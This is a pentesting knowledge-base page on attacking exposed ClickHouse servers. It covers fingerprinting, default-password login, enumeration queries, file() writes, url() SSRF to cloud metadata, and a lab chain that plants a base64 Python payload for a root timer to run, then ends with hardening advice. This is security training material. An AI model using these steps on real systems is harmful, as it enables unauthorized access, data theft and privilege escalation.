Skip to main content

ClickHouse

ClickHouse is an open-source, column-oriented OLAP database built for fast analytical (real-time) queries. It exposes two interfaces:

  • HTTP interface on 8123 - the one that most often ends up reachable, frequently proxied behind nginx as a vhost (e.g. db.<domain>).
  • Native TCP interface on 9000 - binary protocol used by clickhouse-client.

Because the HTTP interface speaks plain REST (GET /?query=...), it is trivially scriptable and a frequent foothold when it is left unauthenticated or given a weak default password.

Tech Stack​

  • Engine: C++ server (clickhouse-server), config at /etc/clickhouse-server/config.xml and users.xml.
  • Data: columnar parts under /var/lib/clickhouse/; scratch upload dir user_files_path (default /var/lib/clickhouse/user_files).
  • Clients: clickhouse-client, HTTP, JDBC/ODBC drivers.
  • Service account: runs as the clickhouse user.

Fingerprinting​

The HTTP interface is unmistakable:

curl -s http://TARGET:8123/
# Ok.

curl -s -i http://TARGET:8123/ | grep -i 'X-ClickHouse'
# X-ClickHouse-Summary: {"read_rows":"0",...}
# X-ClickHouse-Exception-Tag: ...
  • GET /ping → Ok.; GET /replicas_status → replica health.
  • GET / with no query prints a help page mentioning clickhouse-client and /etc/clickhouse-server/....
  • Native 9000 sends a Hello packet immediately on connect.
  • Behind nginx, fuzz vhosts - a db. hostname is a strong hint.

Authentication​

ClickHouse has a default user (empty password in many default installs). Credentials can be passed three ways:

# Header auth
curl -s -H 'X-ClickHouse-User: default' -H 'X-ClickHouse-Key: PASSWORD' \
     'http://TARGET:8123/?query=SELECT+1'
# URL params
curl -s 'http://TARGET:8123/?user=default&password=PASSWORD&query=SHOW+DATABASES'
# Native
clickhouse-client --host TARGET --user default --password PASSWORD

Auth errors are informative:

  • Code: 194 ... Authentication failed ... (REQUIRED_PASSWORD) → user exists, wrong/empty password.
  • Code: 516 ... Authentication failed: no user with such name (AUTHENTICATION_FAILED) → unknown user.
info

Application configs frequently embed ClickHouse credentials (JDBC URLs, DSNs, *.env). Harvest them from source leaks, config files, heap dumps, or other services' configs and reuse here.

Enumeration​

Queries can be sent as the URL query param or as the POST body (better for multi-line SQL):

curl -s -H 'X-ClickHouse-User: default' -H 'X-ClickHouse-Key: PASSWORD' \
     http://TARGET:8123/ --data-binary 'SELECT currentUser(), version()'
SHOW DATABASES;
SHOW TABLES;

-- Tables + the FULL DDL for each
SELECT database, name, engine, create_table_query
  FROM system.tables
 WHERE database NOT IN ('system','INFORMATION_SCHEMA') FORMAT Vertical;

-- Columns
SELECT database, table, name, type FROM system.columns WHERE database='mydb';

-- What am I allowed to do?
SHOW GRANTS;
SELECT currentUser(), currentRoles();

-- Active queries / settings (may leak paths, users, secrets)
SELECT * FROM system.processes;
SELECT * FROM system.settings WHERE name LIKE '%path%';

create_table_query is especially valuable: it prints Kafka broker lists/topics, materialized-view SQL, and column mappings - the whole data pipeline, without needing broker access.

Attack Surface / Table Functions​

ClickHouse exposes powerful table functions whose use is governed by grants. The error message names the exact grant required, so "denied" is a roadmap, not a dead end.

FunctionGrant neededAbuses
file()READ ON FILE / WRITE ON FILERead/write files inside user_files_path
url()READ ON URLSSRF to internal services / cloud metadata
remote()REMOTEQuery other ClickHouse servers
mysql()/postgresql()/jdbc()/odbc()matching grantPivot to and brute other databases
s3()/hdfs()/azureBlobStorage()matching grantCloud storage access
redis()/mongo()matching grantPivot to those services
Kafka table engine-Read message-broker topics from SQL

File read/write​

file() is sandboxed to user_files_path (... is not inside /var/lib/clickhouse/user_files otherwise):

-- READ
SELECT * FROM file('/var/lib/clickhouse/user_files/notes.txt', 'RawBLOB');

-- WRITE (note: it APPENDS)
INSERT INTO FUNCTION file('/var/lib/clickhouse/user_files/out.txt', 'RawBLOB') SELECT 'data';

When writing code/config, base64 avoids all quoting pain:

B64=$(base64 -w0 payload.py)
printf "INSERT INTO FUNCTION file('/var/lib/clickhouse/user_files/payload.py','RawBLOB') SELECT base64Decode('%s')" "$B64" > w.sql
curl -s -H 'X-ClickHouse-User: default' -H 'X-ClickHouse-Key: PASSWORD' http://TARGET/ --data-binary @w.sql

SSRF via url()​

SELECT * FROM url('http://169.254.169.254/latest/meta-data/', 'RawBLOB');
SELECT * FROM url('http://127.0.0.1:8080/admin', 'RawBLOB');

Why This Is a Real Pivot​

Two properties make an over-privileged ClickHouse a strong escalation primitive:

  1. The clickhouse user can write files the process running the DB controls - including user_files_path - while your own user may not.
  2. Other, more privileged services sometimes consume those files. If a root job, scheduled task, or another app reads/executes a file under user_files_path, writing it via ClickHouse gives you code execution as that process.

Chain example (lab): an unauthenticated ClickHouse → leaked DB creds → file() write into user_files → a root systemd timer that ran python3 /var/lib/clickhouse/user_files/<script>.py executed the payload → root.

warning

INSERT INTO FUNCTION file(...) appends to an existing file. If the target file already ends with e.g. if __name__ == "__main__": main(), appended module-level statements still run top-to-bottom - so an appended payload still executes.

Remediation / Secure Coding​

  1. Never expose ClickHouse HTTP/native ports publicly. Bind to 127.0.0.1 (or an internal interface) with a firewall; front it with a properly authenticated proxy.
  2. Set a strong default password and create named users with least privilege; disable the default user or restrict it: 
    <!-- users.d/secure.xml -->
    <clickhouse>
      <users>
        <default>
          <password_sha256_hex>...</password_sha256_hex>
          <networks><ip>::1</ip><ip>127.0.0.1</ip></networks>
          <access_management>0</access_management>
        </default>
      </users>
    </clickhouse>
  3. Do not grant FILE, URL, REMOTE, S3, MYSQL, POSTGRES, JDBC privileges to application users - they are effectively RCE/SSRF primitives. Grant only SELECT/INSERT on the specific database/tables needed.
  4. Keep user_files_path free of anything another process executes or trusts; never point a root/scheduled job at a file inside it.
  5. Enable TLS and require auth on the HTTP interface (<tcp_port_secure>, https_port).
  6. Segment the database from the app; don't let a low-privilege service account write files a privileged process consumes.
  7. Monitor for unusual file()/url()/INSERT INTO FUNCTION usage.

References​